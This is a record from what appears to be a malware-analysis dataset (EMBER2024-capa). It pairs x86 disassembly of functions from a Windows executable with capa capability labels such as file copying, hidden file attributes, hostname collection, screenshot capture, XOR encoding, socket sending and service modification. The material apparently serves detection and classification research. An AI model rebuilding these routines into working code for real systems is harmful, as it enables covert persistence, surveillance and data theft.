joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c018
Capabilities:
Set file attributes

Disassembly:
push ebx
mov ebx, dword [0x42a1ec]
push ebp
push esi
push edi
push 0x458ff0
mov esi, 0x4590f8
push esi
call ebx
call fcn.004136ff
mov ebp, dword [0x42a214]
and eax, 7
add eax, 6
push eax
push esi
call ebp
add eax, esi
push eax
call fcn.00413663
push esi
call fcn.00413e36
add esp, 0xc
push 7
push esi
call dword [0x42a10c]
push 0x42a3b0
push esi
call dword [0x42a1f0]
push esi
mov edi, 0x459200
push edi
call ebx
call fcn.004136ff
push 0xa
pop ecx
xor edx, edx
div ecx
add edx, 0xc
push edx
push edi
call ebp
add eax, edi
push eax
call fcn.00413663
push edi
call fcn.00413e36
add esp, 0xc
push 7
push esi
call dword [0x42a10c]
push 0x42a3b0
push edi
call dword [0x42a1f0]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40c0b1
Capabilities:
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
push 0xc
xor eax, eax
pop ecx
xor ebx, ebx
mov byte [ebp - 0x40], bl
lea edi, [ebp - 0x3f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xf
xor eax, eax
pop ecx
mov byte [ebp - 0x80], bl
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0xc], 0x32
mov dword [ebp - 8], 0x63
call dword [0x42a0c4]
lea eax, [ebp - 0x40]
push eax
mov esi, 0x458d98
push esi
call dword [0x42a1ec]
xor eax, eax
mov byte [ebp - 4], bl
lea edi, [ebp - 3]
stosw word es:[edi], ax
push 3
stosb byte es:[edi], al
lea eax, [ebp - 4]
push 0x458ee8
push eax
call fcn.00421920
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [0x42a0c0]
push 0xa
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 8]
call fcn.00429b3e
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push esi
call dword [0x42a1f0]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c4ce
Capabilities:
Get hostname

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push edi
push 0xf
xor eax, eax
pop ecx
mov byte [ebp + 0x30], 0
lea edi, [ebp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1f
xor eax, eax
pop ecx
mov byte [ebp - 0x50], 0
lea edi, [ebp - 0x4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp + 0x70], 0x7f
call dword [0x42a0c4]
lea eax, [ebp - 0x50]
push eax
movzx eax, byte [ebp + 0x7c]
push eax
lea eax, [ebp + 0x30]
push eax
call fcn.004135c8
add esp, 0xc
lea eax, [ebp + 0x30]
push eax
push 0
push 0x1f0001
call dword [0x42a0cc]
test eax, eax
pop edi
jne 0x40c540
xor al, al
jmp 0x40c549
push eax
call dword [0x42a1e0]
mov al, 1
add ebp, 0x74
leave
ret

Function at 0x40c674
Capabilities:
Terminate process

Disassembly:
push dword [0x45966c]
call dword [0x42a1e0]
push 1
push 0
push dword [esp + 0xc]
push 0x458de0
push 0
push 0
call dword [0x458c8c]
push 0
call dword [0x42a11c]
int3
Function at 0x40cedf
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x4a
pop ecx
xor eax, eax
mov byte [ebp - 0x234], 0
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x41
pop ecx
xor eax, eax
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [0x42a1ec]
push 0x42a788
lea eax, [ebp - 0x234]
push eax
call edi
mov esi, dword [0x42a1f0]
push 0x459310
lea eax, [ebp - 0x234]
push eax
call esi
push 0x42a784
lea eax, [ebp - 0x234]
push eax
call esi
mov ebx, 0x458ff0
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
call fcn.004136ff
push 3
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x108]
add edx, 5
push edx
push eax
call dword [0x42a214]
lea eax, [ebp + eax - 0x108]
push eax
call fcn.00413663
pop ecx
pop ecx
push 0x42a40c
lea eax, [ebp - 0x108]
push eax
call esi
cmp byte [0x459670], 0
jne 0x40cfc3
lea eax, [ebp - 0x108]
push eax
call fcn.00413a97
test eax, eax
pop ecx
je 0x40cfc3
lea eax, [ebp - 0x108]
push eax
call fcn.0041382b
cmp eax, 0x30d40
pop ecx
jae 0x40cff6
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [0x42a10c]
push 0
lea eax, [ebp - 0x108]
push eax
push 0x458de0
call dword [0x42a218]
lea eax, [ebp - 0x108]
push eax
call fcn.004017f4
pop ecx
push 1
push ebx
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [0x458c8c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d09a
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [0x42a214]
mov ebx, 0x459310
push ebx
call esi
cmp eax, 8
jl 0x40d154
push edi
push 0x41
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10c]
push eax
call dword [0x42a1ec]
lea eax, [ebp - 0x10c]
push eax
call esi
lea esi, [ebp + eax - 0x10c]
cmp byte [esi - 1], 0x5c
je 0x40d0fe
mov byte [esi], 0x5c
inc esi
mov byte [esi], 0
mov edi, dword [0x42a10c]
mov dword [ebp - 4], 0x10
push dword [ebp - 4]
push esi
call fcn.00413663
pop ecx
pop ecx
push 0x42a40c
push esi
call dword [0x42a1f0]
push 0x80
lea eax, [ebp - 0x10c]
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
push ebx
call fcn.00413bcf
pop ecx
pop ecx
push 7
lea eax, [ebp - 0x10c]
push eax
call edi
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x16
jle 0x40d10b
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d158
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp byte [0x458dd8], 0
je 0x40d1cb
cmp byte [0x458dd9], 0
jne 0x40d1cb
push 0x458ee8
call fcn.0040d09a
lea eax, [ebp - 0x108]
mov dword [esp], 0x100
push eax
call dword [0x42a064]
test eax, eax
je 0x40d1cb
lea eax, [ebp - 0x108]
push eax
call dword [0x42a214]
cmp byte [ebp + eax - 0x108], 0x5c
je 0x40d1be
push 0x42a3b0
lea eax, [ebp - 0x108]
push eax
call dword [0x42a1f0]
lea eax, [ebp - 0x108]
push eax
call fcn.0040d09a
pop ecx
push 0x458ff0
call fcn.0040d09a
pop ecx
leave
ret
Function at 0x40da5b
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
mov edi, dword [0x42a0e4]
push 0x458d80
call edi
xor esi, esi
cmp dword [ebp + 0x14], 1
jne 0x40da7f
mov esi, dword [ebp + 0x10]
and dword [ebp + 0x14], 0
test esi, esi
je 0x40dac0
jmp 0x40da8a
inc esi
cmp byte [esi], 0x22
je 0x40da89
mov ebx, 0x42a784
jmp 0x40da99
mov byte [eax], 0
push ebx
push esi
call fcn.00413761
test eax, eax
pop ecx
pop ecx
jne 0x40da96
push 0x42a7c0
push esi
call fcn.00413761
test eax, eax
pop ecx
pop ecx
mov dword [ebp + 0x14], eax
je 0x40dac0
inc dword [ebp + 0x14]
mov byte [eax], 0
push 0x8003
call dword [0x42a0e0]
push 0x459438
push 0x459434
push 0x459430
push 0x45942c
push 0x459428
call fcn.00408d16
add esp, 0x14
test al, al
je 0x40dcae
push 0x104
mov ebx, 0x458ee8
push ebx
call dword [0x42a0dc]
push 0x42a3b0
push ebx
call dword [0x42a1f0]
push ebx
call fcn.00414bf8
pop ecx
call fcn.0040c0b1
call fcn.0040d4a9
xor ebx, ebx
cmp esi, ebx
je 0x40dba3
mov al, byte [esi]
cmp al, 0x2d
jne 0x40db79
push 0x15
inc esi
call fcn.0040c54e
test al, al
pop ecx
je 0x40db5b
mov byte [0x459668], 1
cmp byte [esi], bl
je 0x40db52
push esi
push 0x459310
call dword [0x42a1ec]
mov dword [ebp + 0x14], 0x40d83e
jmp 0x40dbd3
push 0x16
call fcn.0040c54e
test al, al
pop ecx
je 0x40dcae
mov byte [0x459668], 1
cmp byte [esi], 0
je 0x40dbcc
jmp 0x40db95
cmp al, 0x24
jne 0x40dba3
push 0x18
call fcn.0040c54e
test al, al
pop ecx
je 0x40dcae
mov byte [0x459670], 1
inc esi
push esi
push 0x459310
call dword [0x42a1ec]
jmp 0x40dbcc
push 0x17
call fcn.0040c54e
test al, al
pop ecx
je 0x40dcae
cmp esi, ebx
je 0x40dbcc
push esi
push 0x459310
call dword [0x42a1ec]
push dword [ebp + 0x14]
call fcn.0040d59d
pop ecx
mov dword [ebp + 0x14], 0x40d092
call fcn.0040a949
call fcn.0040d7d0
jmp 0x40dbe9
call fcn.00413df9
call fcn.00413dd8
call fcn.0040d4e2
test al, al
jne 0x40dbdf
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [0x458b88]
push 0x44f7b8
call edi
push 0x44f79c
call edi
push 0x459708
call edi
push 0x45983c
call edi
push 0x44f7e0
call edi
push 0x459674
call edi
push 0x4596ec
call edi
push 0x4596d4
call edi
push 0x4596bc
call edi
push 0x4596a4
call edi
push 0x45968c
call edi
cmp byte [0x459670], 0
je 0x40dc70
call fcn.0040d2ec
test al, al
je 0x40dc6b
push 0x1a
call fcn.0040c4ce
pop ecx
call fcn.00410b43
call fcn.0040d158
call fcn.0040c7e0
mov esi, dword [0x42a058]
push ebx
push ebx
push ebx
push 0x40c431
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x40d1d8
push ebx
push ebx
call esi
cmp byte [0x459670], 0
je 0x40dca6
call fcn.00410a09
call fcn.0040c6a0
call dword [ebp + 0x14]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x40e8ac
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
push esi
push edi
je 0x40e8cb
push 0x1770
mov byte [0x459671], bl
call dword [0x42a1e4]
push 0x4bc
mov byte [0x459671], 1
call fcn.00410bf4
push 7
mov edi, 0x42a438
push edi
push dword [ebp + 8]
mov esi, eax
call fcn.004224e1
add esp, 0x10
test eax, eax
je 0x40e909
push edi
push esi
call dword [0x42a1ec]
push dword [ebp + 8]
push esi
call dword [0x42a1f0]
jmp 0x40e913
push dword [ebp + 8]
push esi
call dword [0x42a1ec]
lea edi, [esi + 0x480]
push edi
lea ecx, [esi + 0x300]
push ecx
lea eax, [esi + 0x200]
push eax
push dword [ebp + 8]
call fcn.0040eb47
mov al, byte [ebp + 0x1c]
mov byte [esi + 0x495], al
mov eax, dword [ebp + 0x10]
add esp, 0x10
mov byte [esi + 0x494], 1
mov dword [esi + 0x4a4], eax
call dword [0x42a20c]
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp + 0xc]
mov dword [esi + 0x4a0], eax
call dword [0x42a214]
cmp eax, 0x7f
lea eax, [esi + 0x400]
jg 0x40e981
push dword [ebp + 0xc]
push eax
call dword [0x42a1ec]
jmp 0x40e98f
push 0x7f
push dword [ebp + 0xc]
push eax
call fcn.00421e30
add esp, 0xc
lea eax, [esi + 0x200]
push eax
mov word [esi + 0x484], 2
call fcn.004138bc
mov dword [esi + 0x488], eax
xor eax, eax
mov ax, word [edi]
pop ecx
push eax
call dword [0x458cdc]
cmp dword [ebp + 0x24], 1
mov word [esi + 0x486], ax
mov al, byte [ebp + 0x20]
mov byte [esi + 0x496], al
lea eax, [esi + 0x498]
mov dword [esi + 0x4b8], ebx
mov dword [esi + 0x4b4], ebx
mov dword [esi + 0x4b0], ebx
mov dword [esi + 0x4ac], ebx
mov dword [esi + 0x4a8], ebx
mov byte [eax], bl
mov byte [esi + 0x497], bl
mov byte [esi + 0x499], bl
jne 0x40ea0b
mov byte [eax], 1
mov byte [esi + 0x497], 1
jmp 0x40ea1e
cmp dword [ebp + 0x24], 2
je 0x40ea02
cmp dword [ebp + 0x24], 3
jne 0x40ea1e
mov byte [esi + 0x499], 1
mov eax, dword [ebp + 0x28]
dec eax
je 0x40ea47
push 2
pop ecx
sub eax, ecx
je 0x40ea3f
dec eax
je 0x40ea37
or dword [esi + 0x49c], 0xffffffff
jmp 0x40ea51
mov dword [esi + 0x49c], ecx
jmp 0x40ea51
mov dword [esi + 0x49c], ebx
jmp 0x40ea51
mov dword [esi + 0x49c], 0xfffffffe
mov edi, dword [0x42a058]
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40e690
push ebx
push ebx
call edi
mov eax, dword [ebp + 0x14]
cmp eax, 1
jl 0x40ea92
mov dword [ebp + 0x18], eax
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40ddc2
push ebx
push ebx
call edi
dec dword [ebp + 0x18]
jne 0x40ea71
jmp 0x40ea8f
push 0x32
call dword [0x42a1e4]
mov eax, dword [ebp + 0x14]
cmp dword [esi + 0x4b4], eax
jb 0x40ea87
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410335
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x108], bl
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], ebx
mov dword [edi], ebx
call fcn.0041382b
mov esi, eax
cmp esi, 9
pop ecx
jb 0x410405
lea eax, [esi - 8]
push esi
mov dword [edi], eax
call fcn.00410bf4
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 8]
mov edi, eax
call dword [0x42a1d8]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x4103fe
push ebx
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push eax
call dword [0x42a1dc]
push dword [ebp + 0x10]
call dword [0x42a1e0]
movzx eax, byte [ebp + 0xc]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x108]
add edx, 0xf3
push edx
push eax
call fcn.00413663
push eax
push esi
push edi
call fcn.0041a679
lea ebx, [esi + edi]
add esi, 0xfffffffc
push esi
push edi
call fcn.00410319
add esp, 0x1c
cmp dword [ebx - 4], eax
jne 0x4103fe
mov eax, dword [ebx - 8]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, edi
jmp 0x410407
push edi
call fcn.00410c3b
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41068a
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x42a10c]
push edi
mov edi, 0x80
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call esi
push ebx
push edi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [0x42a1d8]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4106ee
mov edi, dword [ebp + 0x10]
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [0x42a1d4]
push ebx
call dword [0x42a1e0]
push 2
push dword [ebp + 8]
call esi
cmp dword [ebp - 4], edi
jne 0x4106ee
mov al, 1
jmp 0x4106f0
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4106f5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10c], al
push 0x40
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0041411e
mov esi, dword [ebp + 0x10]
lea ebx, [esi + 8]
push ebx
mov dword [ebp - 8], eax
call fcn.00410bf4
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
call fcn.00421920
push 4
lea ecx, [ebp - 8]
lea eax, [edi + esi]
push ecx
push eax
mov dword [ebp + 0x10], eax
call fcn.00421920
add esi, 4
push esi
push edi
call fcn.00410319
mov dword [ebp - 4], eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
call fcn.00421920
movzx eax, byte [ebp + 8]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x210]
add edx, 0xf3
push edx
push eax
call fcn.00413663
push eax
push ebx
push edi
call fcn.0041a5dd
add esp, 0x44
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00413732
cmp byte [0x458dd8], 0
mov esi, dword [0x42a1f0]
pop ecx
pop ecx
je 0x4108a0
push 0x458ee8
lea eax, [ebp - 0x10c]
push eax
call dword [0x42a1ec]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0041068a
lea eax, [ebp - 0x10c]
push eax
push 0x26
call fcn.004140ca
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0041068a
lea eax, [ebp - 0x10c]
push eax
push 0x1c
call fcn.004140ca
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0041068a
add esp, 0xc
push 0xf0
lea eax, [ebp - 0x10c]
push eax
call dword [0x42a064]
push 0x42a3b0
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0041068a
add esp, 0xc
push 0x458ff0
lea eax, [ebp - 0x10c]
push eax
call dword [0x42a1ec]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0041068a
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [0x42a1ec]
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0041068a
push edi
call fcn.00410c3b
add esp, 0x10
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x411356
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 0x40], 0
push ebx
push edi
xor eax, eax
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
mov byte [ebp - 2], 0
call dword [0x42a264]
mov edi, dword [ebp - 0x38]
sub edi, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x34]
sub ebx, dword [ebp - 0x3c]
test edi, edi
jle 0x41153a
mov eax, 0x9c4
cmp edi, eax
jg 0x41153a
test ebx, ebx
jle 0x41153a
cmp ebx, eax
jg 0x41153a
push esi
push dword [ebp + 8]
call dword [0x42a2ac]
mov esi, eax
push esi
mov dword [ebp - 0x30], esi
call dword [0x42a034]
push ebx
push edi
push esi
mov dword [ebp - 0x14], eax
call dword [0x42a038]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
call dword [0x42a03c]
push 0xcc0020
xor eax, eax
push eax
push eax
push esi
push ebx
push edi
push eax
push eax
push dword [ebp - 0x14]
call dword [0x42a040]
mov eax, ebx
imul eax, edi
shl eax, 2
push eax
call fcn.00410bf4
test eax, eax
pop ecx
mov dword [ebp - 0x24], eax
je 0x41150c
push eax
push ebx
push edi
push dword [ebp - 0x28]
push dword [ebp - 0x14]
call fcn.004112dd
add esp, 0x14
test eax, eax
je 0x41150c
and dword [ebp - 0xc], 0
test ebx, ebx
jle 0x41150c
and dword [ebp - 0x20], 0
and dword [ebp - 8], 0
test edi, edi
jle 0x4114e7
xor eax, eax
cmp dword [ebp + 0x14], eax
mov byte [ebp - 1], 1
mov dword [ebp - 0x10], eax
jle 0x4114f8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x4114c1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
add eax, ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x41150c
mov eax, dword [ebp - 8]
lea ecx, [esi + eax]
cmp ecx, edi
jge 0x41150c
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 0xc]
add ecx, esi
add ecx, eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + ecx*4]
mov eax, dword [ebp - 0x1c]
add eax, esi
lea edx, [edx + eax*2]
add eax, edx
mov dl, byte [eax + 2]
cmp dl, byte [ecx]
jne 0x4114bd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4114bd
mov al, byte [eax]
cmp al, byte [ecx + 2]
jne 0x4114bd
inc esi
cmp esi, dword [ebp + 0x10]
jl 0x41146e
jmp 0x4114c1
mov byte [ebp - 1], 0
mov eax, dword [ebp + 0x10]
inc dword [ebp - 0x10]
add dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x18], edi
cmp eax, dword [ebp + 0x14]
jl 0x41145c
cmp byte [ebp - 1], 0
jne 0x4114f8
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x411441
inc dword [ebp - 0xc]
add dword [ebp - 0x20], edi
cmp dword [ebp - 0xc], ebx
jl 0x411435
jmp 0x41150c
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0xc]
mov byte [ebp - 2], 1
mov dword [eax], ecx
push dword [ebp - 0x24]
call fcn.00410c3b
pop ecx
push dword [ebp - 0x14]
call dword [0x42a044]
push dword [ebp - 0x30]
push dword [ebp + 8]
call dword [0x42a2a8]
push dword [ebp - 0x28]
call dword [0x42a04c]
movzx eax, byte [ebp - 2]
pop esi
jmp 0x41153d
or eax, 0xffffffff
pop edi
pop ebx
leave
ret
Function at 0x411608
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x10
pop ecx
xor eax, eax
push 0x100
push eax
mov byte [ebp - 0x44], 0
lea edi, [ebp - 0x43]
push ebx
rep stosd dword es:[edi], eax
call fcn.00421c60
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call fcn.0041a715
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.00417376
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebx + 0x20]
push eax
call fcn.00421920
add esp, 0x28
push 0x40
lea edi, [ebx + 0x60]
lea esi, [ebx + 0x5a]
pop ecx
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [eax + ebx + 0x9f]
xor cl, byte [eax + ebx]
inc eax
cmp eax, 0x20
mov byte [eax + ebx + 0x9f], cl
jl 0x411663
push dword [ebp + 8]
call dword [0x42a214]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x4116a1
mov al, byte [ecx + ebx + 0xbd]
xor al, byte [ecx + ebx]
inc ecx
cmp ecx, esi
mov byte [ecx + ebx + 0xbf], al
jl 0x41168b
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x411cfc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.00421df0
push ebx
push esi
push edi
push 0x46
lea eax, [ebp - 0x70]
push eax
push 0x42a89c
xor ebx, ebx
push ebx
push ebx
mov esi, 0x409
push esi
call dword [0x42a104]
push 0x1e
lea eax, [ebp - 0x28]
push eax
push 0x42a890
push ebx
push ebx
push esi
call dword [0x42a100]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x12c
lea eax, [ebp - 0x19c]
push eax
push 0x42fe10
call fcn.00413410
mov esi, dword [0x42a260]
add esp, 0xc
push eax
lea eax, [ebp - 0x119c]
push eax
call esi
mov eax, 0x448072
add esp, 0x20
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], 0x13
push 2
push dword [ebp + 0xc]
lea eax, [edi - 2]
push eax
call fcn.004224e1
add esp, 0xc
test eax, eax
jne 0x411da8
mov dword [ebp - 8], edi
add edi, 0x80
dec dword [ebp - 4]
jne 0x411d90
push dword [ebp - 8]
mov edi, dword [0x42a214]
push 0x42a8cc
lea eax, [ebp - 0x119c]
push eax
call edi
lea eax, [ebp + eax - 0x119c]
push eax
call esi
add esp, 0xc
push ebx
lea eax, [ebp - 0x119c]
push eax
call edi
push eax
lea eax, [ebp - 0x119c]
push eax
push dword [ebp + 8]
call dword [0x42a344]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4136ff
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push 0x458d98
inc esi
call dword [0x42a214]
movzx eax, al
xor ecx, ecx
test eax, eax
jbe 0x41372e
push edi
movzx edx, byte [ecx + 0x458d98]
mov edi, edx
imul edi, esi
xor edi, edx
inc ecx
cmp ecx, eax
mov esi, edi
jb 0x413718
pop edi
mov eax, esi
pop esi
ret

Function at 0x41382b
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [esp + 0x24]
call dword [0x42a1d8]
mov esi, eax
push edi
push esi
call dword [0x42a108]
push esi
mov edi, eax
call dword [0x42a1e0]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x413a12
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push 0xf003f
push 0x42a91c
xor ebx, ebx
push ebx
mov byte [ebp - 1], 1
call dword [0x458c44]
mov esi, eax
cmp esi, ebx
jne 0x413a3b
xor al, al
jmp 0x413a93
push edi
push 0xf01ff
push dword [ebp + 8]
push esi
call dword [0x458cd4]
mov edi, eax
cmp edi, ebx
jne 0x413a54
mov byte [ebp - 1], bl
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [0x458c70]
test eax, eax
jne 0x413a68
mov byte [ebp - 1], bl
cmp byte [ebp + 0xc], bl
je 0x413a81
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [0x42a004]
push edi
call dword [0x458bb0]
push esi
call dword [0x458bb0]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413a97
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [0x42a210]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret